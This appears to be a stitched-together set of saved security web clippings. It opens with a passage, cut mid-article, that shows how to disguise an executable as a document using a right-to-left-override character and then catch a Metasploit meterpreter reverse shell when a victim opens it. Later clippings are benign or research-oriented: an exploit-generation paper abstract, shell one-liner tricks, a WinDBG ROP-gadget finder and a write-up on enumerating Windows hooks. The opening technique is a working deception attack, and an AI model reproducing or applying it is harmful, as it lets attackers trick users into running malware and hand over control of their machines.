[RTLO]cod.stohsnee[LTRO]funny.scr``ruby -e 'File.rename("demo_ppt.exe",
"\xe2\x80\xaecod.stohsnee\xe2\x80\xadfunny.scr")'`  
---|---  
  
The filename is created in two parts, first writing from right to left and
then from left to right, prepending the characters left of all those already
written.  
  
Result:  
  

<img src='img/Temp2_6798.png' />

  
  
  
  
  
  
Open a metasploit console on the attacking machine:  
  

[code]

    ./msfconsole
    msf > use exploit/multi/handler
    msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
    msf  exploit(handler) > set LHOST 192.168.1.1
    msf  exploit(handler) > exploit
    
[/code]

Now, open one of the created files on the target machine and you should get a
meterpreter shell:  

[code]

    [*] Started reverse handler on 192.168.1.1:4444
    [*] Starting the payload handler...
    [*] Sending stage (752128 bytes) to 192.168.1.100
    [*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.100:54354) at Sun Oct 23 19:42:30 +0200 2011
    
[/code]

Of course, no document will be opened and some users might get suspicious. An
advanced version of this attack would use an executable file that extracts an
embedded document, opens it and then executes the reverse shell.

# Automatic Patch-Based Exploit GenerationDavid Brumley, Pongsin Poosankam,
Dawn S

**Created:**| _8/4/2009 5:42:08 PM_  
---|---  
**Updated:**| _8/4/2009 5:42:24 PM_  
**Author:**| __  
**Tags:**| _Exploit papers security_  
  

## Automatic Patch-Based Exploit Generation

David Brumley, Pongsin Poosankam, Dawn Song, and Jiang Zheng

**Abstract**  
The  _automatic patch-based exploit generation_ problem is: given a program
_P_ and a patched version of the program  _P'_ , automatically generate an
exploit for the potentially unknown vulnerability present in  _P_ but fixed in
_P'_. In this paper, we propose techniques for automatic patch-based exploit
generation, and show that our techniques can automatically generate exploits
for vulnerable programs based upon patches provided via Windows Update.

In many cases we are able to automatically generate exploits within minutes or
less. Although our techniques may not work in all cases, a fundamental tenet
of security is to conservatively estimate the capabilities of attackers. Thus,
our results indicate that automatic patch-based exploit generation should be
considered practical. One important security implication of our results is
that current patch distribution schemes which stagger patch distribution over
long time periods, such as Windows Update, may allow attackers who receive the
patch first to compromise the significant fraction of vulnerable hosts who
have not yet received the patch. Thus, we conclude update schemes, such as
Windows Update as currently implemented, can detract from overall security,
and should be redesigned.

**What does this mean?**  
Attackers can simply wait for a patch to be released, use these techniques,
and with reasonable chance, produce a working exploit within seconds. Coupled
with a worm, all vulnerable hosts could be compromised before most are even
aware a patch is available, let alone download it. Thus, Microsoft should
redesign Windows Update. We propose solutions which prevent several possible
schemes, some of which could be done with existing technology.

Read the full paper: PDF

# Harder, Better, Faster, Stronger: Semi-Auto Vulnerability Research

**Created:**| _8/13/2010 11:46:58 AM_  
---|---  
**Updated:**| _8/13/2010 11:47:23 AM_  
**Author:**| __  
**Tags:**| _Exploit papers Fuzzer automation analysis vulnerability_  
  
<img src='img/Temp2_3654' />

# Command Line Kung Fu: Episode \#61: Just Sit Right Back & You'll Hear a
Tale... or a Tail...

**Created:**| _11/24/2009 7:24:22 PM_  
---|---  
**Updated:**| _11/24/2009 7:24:26 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#61: Just Sit Right Back & You'll Hear a Tale... or a Tail...

Ed muses whimsically:  
  
I'm sure every self-respecting geek has contemplated the scenario. I know I
think about it all the time. You're trapped on a desert island, surrounded by
nothing but coconut trees, sand, water, and 50 beautiful babes... all living
in rustic harmony in your lavish hut. Oh, and you also have your laptop
computer, with a power supply and Internet connection. Now, the question
before the house, of course, is as follows:  
  
When stranded on a desert island, if you could only have a single command in
your operating system, what would it be and how would you use it?  
  
Yes, it's a dilemma that has no doubt puzzled philosophers for ages. I'd like
to weigh in on it, and see Hal's thoughts on the matter as well.  
  
For my Windows usage, I'd have to go with WMIC, the Windows Management
Instrumentation Command-Line tool. While it's just a command, it opens up
whole worlds to us for interacting with our Windows boxen. Built-into Windows
XP Pro and later, WMIC can be used to query information from machines and
update it using a syntax known as the WMIC Query Language \(WQL\), which I
described in an article a while back.  
  
WMIC can be used as a replacement for numerous other commands, and in many
instances it provides even more information than the commands it subsumes. For
instance, you could supplant the Service Controller command \(sc\) that we
discussed inEpisode \#57 with:  
  

[code]

    C:\> wmic service list full
    
[/code]

  
Or, you can replace the tasklist command with:  
  

[code]

    C:\> wmic process list full
    
[/code]

  
The taskkill command functionality can be mimicked with:  
  

[code]

    C:\> wmic process where processid="[pid]" delete
    
[/code]

  
You can get lists of users, including many settings for their account and
their SIDs with:  
  

[code]

    C:\> wmic useraccount list full
    
[/code]

  
Those are the things I most often use WMIC for: interacting with services,
processes, and user accounts based on variations of those commands. I've
written a lot about WMIC in the past, but I've come up with some new uses for
it that I'd like to talk about here. And, getting back to our little desert
island fantasy... I mean... scenario, let's talk about some additional WMIC
use cases.  
  
Suppose, on this desert island, you wanted to see if a given Windows machine
was real or virtual. Perhaps you had hacked into another box on the island or
you had this question about your own system. WMIC can provide insight into the
answer, especially if VMware is in use:  
  

[code]

    C:\> wmic bios list full | find /i "vmware"  
    SerialNumber=VMware-00 aa bb cc dd ee ff aa-bb cc dd ee ff 00 aa bb
    
[/code]

  
VMware detection, in a single command\! I'm sure the babes will like that one.
Here, I'm querying the bios of my Windows machine, looking for the string
"VMware" in a case-insensitive fashion \(/i\). If you see output, you are
running inside a VMware guest machine. Also, you'll get the serial number of
that VMware install, which might be useful to you.  
  
Perhaps, with all that spare time on your island paradise, you will start to
contemplate the fine-grained inner workings of your Windows box, thinking
about the order that various drivers are loaded. Wanna see that info? Use
this:  
  

[code]

    C:\> wmic loadorder list full
    
[/code]

  
On a desert island, I'm sure you'll need to know a lot of details about your
hard drive, including the number of heads, cylinders, and sectors \(so you can
make a new hard drive from coconut shells when your existing one fails, of
course\). To get that information, run:  
  

[code]

    C:\> wmic diskdrive list full
    
[/code]

  
At some point, you may need to write up a little command-line script that
checks the current screen resolution on your default monitor. There must be a
distinct need on desert islands for pulling this information \(perhaps just to
impress the babes\), which can be obtained with:  
  

[code]

    C:\> wmic desktopmonitor where name="Default Monitor" get screenheight,screenwidth  
    ScreenHeight  ScreenWidth  
    665           1077
    
[/code]

  
Now, suppose you are conducting a detailed forensics investigation to
determine who among your cadre of babes stole the coconut cream pie. The
answer might lie in the creation, modification, or last accessed time of a
given directory on your hard drive. You can get that information by running:  
  

[code]

    C:\> wmic fsdir where (name="c:\\tmp") get installdate,lastaccessed,lastmodified  
    InstallDate                LastAccessed               LastModified  
      
    20090913044801.904300-420  20090914051243.852518-420  20090913073338.075232-420
    
[/code]

  
Note that the path to the directory in this one must use \\\ in place of each
backslash. The first backslash is an escape, and the second is the real
backslash. You have to do this for any where clauses of wmic that have a
backslash in them. Also, note that fsdir works only for directories, not
files. Still, that should help you crack the case of the missing coconut cream
pie\!  
  
There are thousands of other uses for WMIC, which can be explored by simply
running "wmic /?". As you can see, it is an ideal tool for an intrepid geek in
a tropic island nest.  
  
No phone\! No lights\! No motor cars\!  
Not a single luxury...  
Like Robinson Caruso...  
Except for WMIC. :\)  
  
Hal's been on the island far too long:  
  
When Ed proposed this question I thought it was kind of unfair for me to get
to choose a command plus have all the functionality of the Unix shell. And
that got me thinking, just how much could I accomplish using the shell itself
with no other external commands? This is not as idle a question as it might
first appear: there have been times when I've had to recover hosed systems
without much more than the built-in functionality in my shell.  
  
First let's inventory our resources. Built into the bash shell we have cd for
navigating the directory tree, echo and printf for outputting data, read for
reading in data, and a few miscellaneous commands like kill, umask, and
ulimit. We also have several different kinds of loops and conditional
statements, plus the test operator for doing different kinds of comparisons.
This actually turns out to be a lot of functionality.  
  
Starting off simply, we can create a simple ls command with the echo built-in:  
  

[code]

    $ **cd /usr/local**  
     $ **echo ***  
     bin cronjobs depot etc games include lib lib64 libexec lost+found man sbin share src
    
[/code]

  
  
But that output is kind of ugly, and would be hard to read if the directory
contained more items. So we could make pretty output with an ugly loop:  
  

[code]

    $ **i=0; for f in *; do printf '%-20s' $f; (( ++i % 4 )) || echo; done; \  
    (( $i % 4 )) && echo**  
    bin                 cronjobs            depot               etc                   
    games               include             lib                 lib64                 
    libexec             lost+found          man                 sbin                  
    share               src                 
    
[/code]

  
I'm using printf to output the data in columns \(though you'll note that my
columns sort left to right rather than up and down like the normal ls
command\), and a counter variable $i to output a newline after the fourth
column.  
  
Emulating the cat command is straightforward too:  
  

[code]

    $ **while read l; do echo $l; done </etc/hosts**  
    # Do not remove the following line, or various programs  
    # that require network functionality will fail.  
    127.0.0.1 localhost.localdomain localhost  
    ::1 localhost6.localdomain6 localhost6
    
[/code]

  
We can also use this idiom as a simple version of the cp command by just
redirecting the output into a new file. Unfortunately, there's no unlink
operator built into the shell, so I can't do either rm or mv \(though you can
use ">file" to zero-out a file\). There's also no way to do the ln command in
the shell, nor to emulate commands like chown, chmod, and touch that update
the meta-data associated with a file.  
  
However, since bash has a pattern matching operator, we can emulate grep very
easily:  
  

[code]

    $ **while read l; do [[ $l =~ ^127 ]] && echo $l; done </etc/hosts**  
    127.0.0.1 localhost.localdomain localhost
    
[/code]

  
In a similar vein, we can also count lines ala "wc -l":  
  

[code]

    $ **i=0; while read l; do ((i++)); done </etc/hosts; echo $i**  
    4
    
[/code]

  
While our cat emulator works fine for small files, what if we had a longer
file and wanted something like more or less that would show us one screenful
at a time:  
  

[code]

    $ **i=0; \  
     while read -u 3 l; do   
        echo $l;   
        ((++i % 23)) || read -p 'More: ';   
    done 3</etc/passwd**  
    root:x:0:0:root:/root:/bin/bash  
    [... 21 lines not shown ...]  
    smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin  
    More: 
    
[/code]

  
After every 23 lines, I use the read command to display the "More: " prompt
and wait for the user to hit newline. Since I'm going to be reading the user's
input on the standard input, I have to read the file the user wants to view on
a different file descriptor. At the end of the loop I'm associating the
/etc/passwd file with file descriptor 3, and at the top of the loop I use
"read -u 3" to read my input from this file descriptor. Thank you bash, and
your amazingly flexible output redirection routines.  
  
Since we have for loops, creating our own version of the head command is also
easy:  
  

[code]

    $ **for ((i=0; $i <10; i++)); do read l; echo $l; done </etc/passwd**  
    root:x:0:0:root:/root:/bin/bash  
    bin:x:1:1:bin:/bin:/sbin/nologin  
    daemon:x:2:2:daemon:/sbin:/sbin/nologin  
    adm:x:3:4:adm:/var/adm:/sbin/nologin  
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin  
    sync:x:5:0:sync:/sbin:/bin/sync  
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown  
    halt:x:7:0:halt:/sbin:/sbin/halt  
    mail:x:8:12:mail:/var/spool/mail:/sbin/nologin  
    news:x:9:13:news:/etc/news:
    
[/code]

  
If I have the head command, I suppose it's a moral imperative that I also
produce something like tail:  
  

[code]

    $ **i=0; while read l; do a[$i]=$l; i=$(( ($i+1)%10 )); done </etc/passwd; \  
    for ((j=0; $j<10; j++)); do echo ${a[$(( ($j+$i)%10 ))]}; done**  
    webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin  
    pcap:x:77:77::/var/arpwatch:/sbin/nologin  
    hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin  
    xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin  
    gdm:x:42:42::/var/gdm:/sbin/nologin  
    sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin  
    radiusd:x:95:95:radiusd user:/:/bin/false  
    mailman:x:41:41:GNU Mailing List Manager:/usr/lib/mailman:/sbin/nologin  
    tomcat:x:91:91:Tomcat:/usr/share/tomcat5:/bin/sh  
    avahi-autoipd:x:100:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
    
[/code]

  
In the first loop I'm using an array as a circular buffer to hold the last 10
lines read. After the first loop exhausts the file, I use a second loop to
output the lines stored in the array.  
  
The idea of reading the contents of a file into an array suggested this nasty
hack to emulate the sort command:  
  

[code]

    $ **n=0; while read l; do a[$n]=$l; ((n++)); done <myfile; \  
    n=$(($n-1)); \  
    for ((i=0; $i<$n; i++)); do  
         s=$i;  
         for ((j=$((i+1)); $j<=$n; j++)); do   
             [[ ${a[$s]} < ${a[$j]} ]] || s=$j;   
         done;  
         t=${a[$i]}; a[$i]=${a[$s]}; a[$s]=$t;  
    done; \  
    for ((i=0; $i<=$n; i++)); do echo ${a[$i]}; done**  
    1  
    1  
    10  
    10  
    2  
    3  
    4  
    5  
    6  
    7  
    8  
    9
    
[/code]

  
Yep, the middle, nested loops are actually a selection sort implemented in the
shell. You'll notice that the sort here is an alphabetic sort. We could
produce a numeric sort using "-lt" instead of "<" inside the "\[\[ ... \]\]"
clause in the innermost loop.  
  
You'll also notice that I put some duplicate values in my test input file.
Hey, if you're going to do "sort" you've got to also do "uniq". Here's a
numeric sort plus some mods to the final loop to emulate uniq:  
  

[code]

    $ **n=0; while read l; do a[$n]=$l; ((n++)); done <myfile; \  
    n=$(($n-1)); \  
    for ((i=0; $i<$n; i++)); do   
        s=$i;  
        for ((j=$((i+1)); $j<=$n; j++)); do   
            [[ ${a[$s]} -lt ${a[$j]} ]] || s=$j;   
        done;  
        t=${a[$i]}; a[$i]=${a[$s]}; a[$s]=$t;  
    done; \  
    for ((i=0; $i<=$n; i++)); do   
        [[ "X$l" == "X${a[$i]}" ]] || echo ${a[$i]}; l=${a[$i]};   
    done**  
    1  
    2  
    3  
    4  
    5  
    6  
    7  
    8  
    9  
    10
    
[/code]

  
  
With the help of the IFS variable, we can do something similar to the cut
command:  
  

[code]

    $ **IFS=":"; \  
     while read uname x uid gid gecos home shell; do   
        echo $uname $uid;   
    done </etc/passwd**  
    root 0  
    bin 1  
    daemon 2  
    ...
    
[/code]

  
And since bash has a substitution operator, I can even emulate "sed
s/.../.../":  
  

[code]

    $ **while read l; do echo ${l//root/toor}; done </etc/passwd**  
    toor:x:0:0:toor:/toor:/bin/bash  
    bin:x:1:1:bin:/bin:/sbin/nologin  
    daemon:x:2:2:daemon:/sbin:/sbin/nologin  
    ...
    
[/code]

  
I couldn't resist exploiting /proc on my Linux box to generate a simple ps
listing:  
  

[code]

    $ **printf "%-10s %5s %5s   %s\n" UID PID PPID CMD; \  
     for d in /proc/[0-9]*; do    
        cmd=$(cat $d/cmdline | tr \\000 ' ');   
        while read label value rest; do   
            case $label in       
                Name:) name=$value;;       
                Pid:) pid=$value;;       
                PPid:) ppid=$value;;      
                Uid:) uid=$value;;   
            esac;   
        done <$d/status;   
        [[ -z "$cmd" ]] && cmd=$name;   
        printf "%-10s %5s %5s   %s\n" $uid $pid $ppid "$cmd";   
    done**  
    UID          PID  PPID   CMD  
    0              1     0   init [3]            
    0             10     1   watchdog/2  
    0          10994    87   kjournald  
    0             11     1   migration/3  
    0          11058     1   /usr/lib/vmware/bin/vmware-vmx -...
    
[/code]

  
This is obviously skirting pretty close to our "no scripting" rule, but I
actually was able to type this in on the command line. I suspect that there
may be information available under /proc that would also enable me to emulate
some functionality of other commands like netstat and ifconfig, and possibly
even df, but this episode is already getting too long.  
  
Before I finish, however, I wanted to show one more example of how we could
create our own simple find command. This one definitely wanders far into
scripting territory, since it involves creating a small recursive function to
traverse directories:  
  

[code]

    $ **function traverse {  
        cd $1;   
        for i in .[^.]* *; do   
            $(filetest $i) && echo "$1/$i";   
            [[ -d $i && -r $i && ! -h $i ]] && (traverse "$1/$i");   
        done;   
    }**  
    $ **function filetest { [[ -d $1 ]]; }**  
     $ **traverse /etc**  
     traverse /etc  
    /etc/.java  
    /etc/.java/.systemPrefs  
    /etc/acpi  
    /etc/acpi/ac.d  
    /etc/acpi/battery.d  
    /etc/acpi/events  
    /etc/acpi/resume.d  
    /etc/acpi/start.d  
    /etc/acpi/suspend.d  
    /etc/alternatives  
    ...
    
[/code]

  
Specify a directory and the traverse function will walk the entire directory
tree, calling the filetest function you define on each object it finds. If the
filetest function resolves to true, then traverse will echo the pathname of
the object it called filetest on. In the example above, filetest is true if
the object is a directory, so our example is similar to "find /etc -type d".

# Vreugdenhil Research » Blog Archive » WinDBG Scripting, finding ROP gadgets

**Created:**| _6/18/2011 4:42:38 PM_  
---|---  
**Updated:**| _6/18/2011 4:42:38 PM_  
**Author:**| __  
**Tags:**| _windbg rop_  
  

# WinDBG Scripting, finding ROP gadgets

Finding all ROP gadgets with windbg using only windbg scripting? It can be
done.

[code]

    !for_each_module ".if(not(wo(dwo(${@#Base}+0x3c)+${@#Base}+46+18) & 0x40)) {r @$t3 = @#End - @#Base;.foreach /s (retn \"C2 C3\") {.foreach (f {s -[1]b @#Base L@$t3 ${retn}}) {.for(r @$t0 = 1; @$t0 < 4; r @$t0 = @$t0 + 1) {r @$t1 = 0;.foreach (g {.catch {u f - @$t0 L@$t0+1}}) {.if($spat(\"${g}\", \"*ret*\") != 0) {r @$t1 = 1}};.if(@$t1 == 1) {.printf \"---------------------- size %x\", @$t0;.echo;.catch {u f - @$t0 L@$t0+1}}}}}}"
    
[/code]

or broken down:

[code]

    !for_each_module "
      .if(not(wo(dwo(${@#Base}+0x3c)+${@#Base}+46+18) & 0x40)) {
        r @$t3 = @#End - @#Base;
        .foreach /s (retn \"C2 C3\") {
          .foreach (f {s -[1]b @#Base L@$t3 ${retn}}) {
            .for(r @$t0 = 1; @$t0 < 4; r @$t0 = @$t0 + 1) {
              r @$t1 = 0;
              .foreach (g {.catch {u f - @$t0 L@$t0+1}}) {
                .if($spat(\"${g}\", \"*ret*\") != 0) {
                  r @$t1 = 1
                }
              };
              .if(@$t1 == 1) {
                .printf \"---------------------- size %x\", @$t0;
                .echo;
                .catch {u f - @$t0 L@$t0+1}
              }
            }
          }
        }
      }
    "
[/code]

or even further broken down:

[code]

      .if(not(wo(dwo(${@#Base}+0x3c)+${@#Base}+46+18) & 0x40)) {
        r @$t3 = @#End - @#Base;
    
[/code]

for each module read the offset to the PE Header
_**dwo\($\{@\#Base\}+0x3c\)**_ then add that offset to the base, then move up
0x18 to reach the Optional PE Header, then fetch the word at offset 0x46 of
the Optional PE Header \(DllCharacteristics\) then check for the
IMAGE\_DLLCHARACTERISTICS\_DYNAMIC\_BASE 0x0040 flag. Set @$t3 to reflect the
size of the image to be used later in the C3 byte search.

this is followed by: **_.foreach /s \(retn \ "C2 C3\"\)_** which sets the
variable 'retn' first to C2 and then to C3

Then **_.foreach \(f \{s -\[1\]b @\#Base L@$t3 $\{retn\}\}\)_** will run the
command **_s -\[1\]b @\#Base L@$t3 C2_** \(or C3 depending on retn\) and for
ever line in the result its set the variable 'f' to be used later on.  
's' will search memory, -\[1\] means: only list the addresses you find, and
'b' means search for bytes. So we search for all occurences of 'C3' and fetch
the addresses into 'f'

[code]

    .for(r @$t0 = 1; @$t0 < 4; r @$t0 = @$t0 + 1) {
[/code]

We want to dissassmble a few bytes back from the C3 we found, so we do 1 - 3
bytes back from where we found the C3

[code]

           .foreach (g {.catch {u f - @$t0 L@$t0+1}}) {
              .if($spat(\"${g}\", \"*ret*\") != 0) {
                r @$t1 = 1
              }
    
[/code]

This dissasembles and then checks if we do indeed have a 'ret' in the
dissambled code. Future addition: look for ??? in output before the 'ret'

This it work? Yes it does. Sortofish. It will dissasemble more then it should
since the 'u' command doesnt take a byte length but and instruction length.
And just dumping all the gadgets on the commandline is silly so you might want
to add and .logopen and .logclose to the script.

I wrote it mostly for fun and to show it is possible to do a bit more with
windbg scripts then just set some breakpoints.

also:

[code]

    !for_each_module ".if(wo(dwo(${@#Base}+0x3c)+${@#Base}+46+18) & 0x40) { .echo \"${@#ModuleName}: aslr\"; } .else { .echo \"${@#ModuleName} NO ASLR\"; };"
    
[/code]

Will dump all the modules and state if they do or dont have ASLR  
Or, small enough to fit into 140 chars:

[code]

    !for_each_module ".if(not(wo(dwo(${@#Base}+0x3c)+${@#Base}+46+18)&0x40)){.echo \"${@#ModuleName} NO ASLR\";};"
    
[/code]

June 17th, 2011 in research, Uncategorized, WinDBG

# Hookers – Underneath the Sheets « Just Let It Flow

**Created:**| _10/29/2011 1:51:51 PM_  
---|---  
**Updated:**| _10/29/2011 1:51:51 PM_  
**Author:**| __  
**Tags:**| _windows hooks_  
  

### Hookers – Underneath the Sheets

Filed under: Code,Windows — adeyblue @ 7:12 am

  * Introduction
  * Finding Hooks
  * Finding Desktops
  * Finding Threads
  * Hook Information
  * Dll Name
  * Process Name
  * Copying to User Mode
  * Wrapup/TL:DR
  * **Download MsgHookLister**

## Introduction

We all need ideas. Whether you’ve just finished something, or are getting a
little bit bored with your current project you can’t help but let your mind
drift to the next cool thing you’ll create. Sometimes the ideas come thick and
fast, other times they’re like gold dust. When I’m in the second camp, and
reading the various boards I read, I will quite happily steal other peoples.

One such board is Sysinternals’. They do winternals, I do winternals, they
have a suggestion section and I want ideas. It’s a perfect fit. On a previous
visit, one of the suggestions was a program that could list active hooks.
Given my previous excursions into user/win32k territory, it didn’t seem like
it’d be too hard. And apart from the digging around assembly listings for the
structure offsets, it wasn’t, and that was more time-intensive than difficult.
At any rate, I am now the owner of 14 versions of win32k.sys’ symbols. I don’t
even have 14 games on my computer\!

Rather than just dumping a download link \(here\) and what it does \(list
active hooks\), I thought I’d deconstruct the hows and why’s of the kernel
side of the query. Needless to say, much of what follows is discussion of
undocumented things. I am aware this makes Raymond Chen cry. Sorry fella.

## Finding hooks

Compared to other operations, enumerating the installed hooks is quite easy.

Thread specific hooks are recorded in a win32k per-thread data structure
tagged, rather imaginatively, as THREADINFO\[1\]. This is essentially an
ETHREAD/TEB like structure but one tailored specifically for user and gdi
information. One of its members \(_aphkStart_\) is a 16 element array of
pointers, individually they either point to NULL, or the head of a linked list
of HOOK structures. Enumerating the hooks is simply a measure of walking down
those chains.

For convenience, and probably so that iteration isn’t required to see if any
hooks are set, the THREADINFO contains another member, _fsHooks_ , which is a
bitfield. If a bit is on, the corresponding index in the hook array is valid.
Instead of 33 comparisons \(16 for NULL and 17 for a for-loop\), telling if
there are hooks requires just one, nifty\!

Global hooks, which are per desktop\[2\], are also stored in a per-object
structure, also imaginatively named \(DESKTOPINFO\), and are also stored in an
array with an accompanying bitfield. Bridging the two is _pDeskInfo_ , a
member of THREADINFO which points to its owning DESKTOPINFO.

Despite the bellyaching in the intro, working with all these undocumented
structures isn’t actually too hard in practice. The Windows 7 symbols for
win32k.sys include their layouts, which is nice. The symbols for the
Vista/Server 2008 era don’t though, this is where the assembly studying comes
and saves the day.

Knowing what these structures look like is one thing, getting at them is
another…

### Finding Desktops

You may know that at the top of Windows UI architecture is the humble
windowstation\[3\]. Not much is known about these creatures \(read as: nobody
needs to care\) except that they are a glorified container of desktops. It is
these delilahs of display that contain the actual user objects such as
windows, hooks, menus etc. As mentioned, threads are bound to one desktop and
which one can be determined by following a pointer. Desktop objects are stored
in a singly linked list, so by following another pointer in the desktop
structure _rpDeskNext_ , you can enumerate desktops under a windowstation.

Like threads, each desktop has a pointer to its owning windowstation which is
also part of a singularly linked list. Everything’s fine and dandy, except
that there are no guarantees the results of thread->desktop or
desktop->windowstation find the heads of their respective lists. After all,
there can only be one head before everybody has to fall into line.

One method, and the one I used in the Desktop Heap Monitor update is to query
the \Windows\Windowstations and \Sessions\

\Windows\Windowstations object directories via NtOpenDirectoryObject and
NtQueryDirectoryObject. The reward for this is a directory handle and an
object name which can be redeemed against ObOpenObjectByName for an object
handle, which can be finally be exchanged for a pointer with
ObReferenceObjectByHandle. It’s relatively lots of work, but mostly
documented.

The alternative method which I only stumbled upon recently is much easier and
much more hacky. One of win32k.sys’s globals is named _grpWinStaList_ , which
just happens to be the head of the windowstation list. As windowstation
objects \(named as tagWINDOWSTATION\) contain a pointer to the head of the
desktop list, iterating through them all is a piece of cake.

### Finding Threads

Finding threads takes the finesse approach of the desktops and throws it down
the kitchen sink. Mixed metaphors aside, there’s nothing more to it than using
ZwQuerySystemInformation\(SystemProcessInformation\) to enumerate running
processes. What MSDN conceals about the SYSTEM\_PROCESS\_INFORMATION structure
is that at the end of it is an array of SYSTEM\_THREAD\_INFORMATION
structures, one for each thread in that process.

The thread id contained in the struct is turned into an ETHREAD object by the
above board PsLookupThreadByThreadId. Failure means the thread has probably
exited, which is no biggie. Interrogation of the thread continues with
PsGetThreadWin32Thread, a good cop who’ll smuggle out any THREADINFO pointer
in the threads possession. Failure here isn’t a double cross, not all threads
interact with the presentation side of Windows and those that don’t don’t have
a value to return.

[code]

        NTSTATUS stat = STATUS_SUCCESS;
        const SYSTEM_THREAD_INFORMATION* pThreadInfo = process.Threads, *pEnd = pThreadInfo + process.ThreadCount;
        while(pThreadInfo != pEnd)
        {
            PETHREAD pThread = NULL;
            if(NT_SUCCESS(PsLookupThreadByThreadId(pThreadInfo->ClientId.UniqueThread, &amp;pThread)))
            {
                __try
                {
                    PVOID pWin32Thread = PsGetThreadWin32Thread(pThread);
                    if(pWin32Thread)
                    {
                        stat = getWin32ThreadHooks(pWin32Thread, listHead, pLookaside);
                    }
                }
                // ensure reference is released no matter what happens
                __finally
                {
                    ObDereferenceObject(pThread);
                }
            }
            ++pThreadInfo;
        }
[/code]

With the THREADINFO and offsets in hand, the hook information is a dereference
away…

## Hook Information

Having gotten our grubby mitts on them, we find HOOK structures record most of
the relevant information themselves:

[code]

    struct tagHOOK
    {
        THRDESKHEAD head; // info about the creator
        struct tagHOOK* phkNext; // next entry in linked list
        int iHook; // WH_ hook type
        UINT_PTR offPfn; // RVA to hook function in ihmod library
        UINT flags; // HF_ flags (GLOBAL, ANSI)
        int ihmod;
        THREADINFO* ptiHooked; // the hooked thread
        PVOID rpDesk; // saved desktop pointer
        ULONG nTimeout :7;
        ULONG fLastHookHung :1;
    };
[/code]

Directly stored is the originating thread \(in the head member\), the hooked
thread, and \(via an offset\) the hook function. Noticeable by its absence,
for those hooks which specify one, is the lack of any instant dll
identification.

### Dll Name

By its’ name, _ihmod_ hints at something to do with HMODULEs, and indeed it
is. However, it’s nothing as simple as an index into an array of names or
HMODULEs, nor can it be used by any function exported by the kernel or win32k.
Undocumented is as undocumented does, _ihmod_ is actually an index into
another global of win32k.sys named _aatomSysLoaded_ , an array of ATOMs. As
mentioned, there are no functions exported that manipulate or query this
array, no, more “dirty” methods are required. The dirtyness doesn’t stop once
you’ve indexed the array \(either by dereferencing a hardcoded offset or
querying from the symbols\).

So what purpose does this ATOM have? Much like you can use GlobalAddAtom or
AddAtom in user mode to essentailly map a string to an ATOM, win32k does too
in kernel mode with the filename of the HMODULE passed to SetWindowsHookEx.
Remember I said there’s more hacking after the array indexing? It’s not
strictly necessary. The user-mode function GetClipboardFormatName can turn
that atom into a dll name\[4\]. MsgHookLister goes the whole hacky way though
and uses the win32k function UserGetAtomName, just because well, what’s one
extra bit of hackery in a thing built completely on top of it?

[code]

    // abridged
    WCHAR* GetDllName(PVOID pHeap, int atomIndex)
    {
        // negative indexes are seen for LowLevel hooks
        // where there isn't an injected dll
        if(atomIndex < 0) return NULL;
     
        // turn the index to an ATOM
        ATOM actualAtom = aatomSysLoaded[atomIndex];
        WCHAR* pNameBuf = RtlAllocateHeap(pHeap, HEAP_ZERO_MEMORY, MAX_PATH * sizeof(WCHAR));
        if(pNameBuf)
        {
            ULONG charsNeeded = UserGetAtomName(actualAtom, pNameBuf, MAX_PATH);
            if(charsNeeded != 0)
            {
                // this is just a normal atom that's been stringified ignore it
                if(pNameBuf[0] == L'#')
                {
                    RtlFreeHeap(pHeap, 0, pNameBuf);
                    pNameBuf = NULL;
                }
            }
        }
        return pNameBuf;
    }
[/code]

That’s almost everything, but thread ids can be made much more pallatable to
the client app…

### Process Name

The only other thing in the output not covered by the struct is the process
name. Again, this can be gotten from user mode, and by looking in the PEB.
However, in a rare bout of playing by the rules, MsgHookLister uses
PsThreadToProcess to get an EPROCESS from an ETHREAD and
PsGetProcessImageFileName to get the name string that is stored within it.

[code]

    void CopyThreadProcessName(PETHREAD pThread, char* pNameBuffer, ULONG bufLen)
    {
        PAGED_CODE();
        // this doesn't need releasing
        PEPROCESS pProc = PsThreadToProcess(pThread);
        strncpy(pNameBuffer, (char*)PsGetProcessImageFileName(pProc), bufLen);
        pNameBuffer[bufLen - 1] = 0;
    }
    //
    // call site
    //    
        HOOK* pHookIter = ...
        // the EThread offset is the same either way, 
        // so it's OK to leave this as THREADINFO7 even on Vista
        THREADINFO7* pSettingThread = static_cast<THREADINFO7*>(pHookIter->head.pti);
        if(pSettingThread)
        {
            hook.dwSettingThread = HandleToULong(PsGetThreadId(pSettingThread->pEThread));
            CopyThreadProcessName(pSettingThread->pEThread, hook.settingProcess, ARRAYSIZE(hook.settingProcess));
        }
[/code]

## Copying to User Mode

After collating all the relevant hook data, it needs to be marshalled
somewhere user mode can access it. Normal Windows API calls dealing with this
have the caller pass a buffer and a size, with the minimum length returned if
the buffer is insufficient. There’s nothing wrong with this method, but if the
information takes a long time to gather or is volatile this isn’t the most
efficient approach.

With that in mind, the approach taken by MsgHookLister is to always return
this:

[code]

    typedef struct WindowsHookInfo_
    {
    	ClientHookArray* pHookInfoArray;
    } WindowsHookInfo;
[/code]

Instead of having the caller call back with an enlarged buffer, the driver
makes a new heap in the calling process, allocates all the memory it needs
from it, and then passes the heap handle back to the user mode app. When it’s
finished, the app cleans up by freeing the memory and destroying the heap.

A credible alternative to the heap is to allocate a glob of virtual memory and
manage it yourself. It’s so credible I should’ve actually written it that way.
To make the heap method work, it has to be created with the
HEAP\_NO\_SERIALIZE flag because heaps created through the kernel use
ERESOURCEs for locking, while user mode uses CRITICAL\_SECTIONs, and they
aren’t compatible. Oh well, some would say one last hack is a fitting ending
to the call’s journey.

With that, the ride is over. The request has been serviced and the driver is
ready to remorselessly go through the whole process again and again at the
clients behest.

## Wrapup

It did list queued window messages, now it lists active thread and global
hooks too, it’s MsgHookLister. If this were Sysinternals it’d have a nice
shiny gui but I’m not so it’s command line only. There are output samples and
a video of it in action here. You can download the package here, it comes with
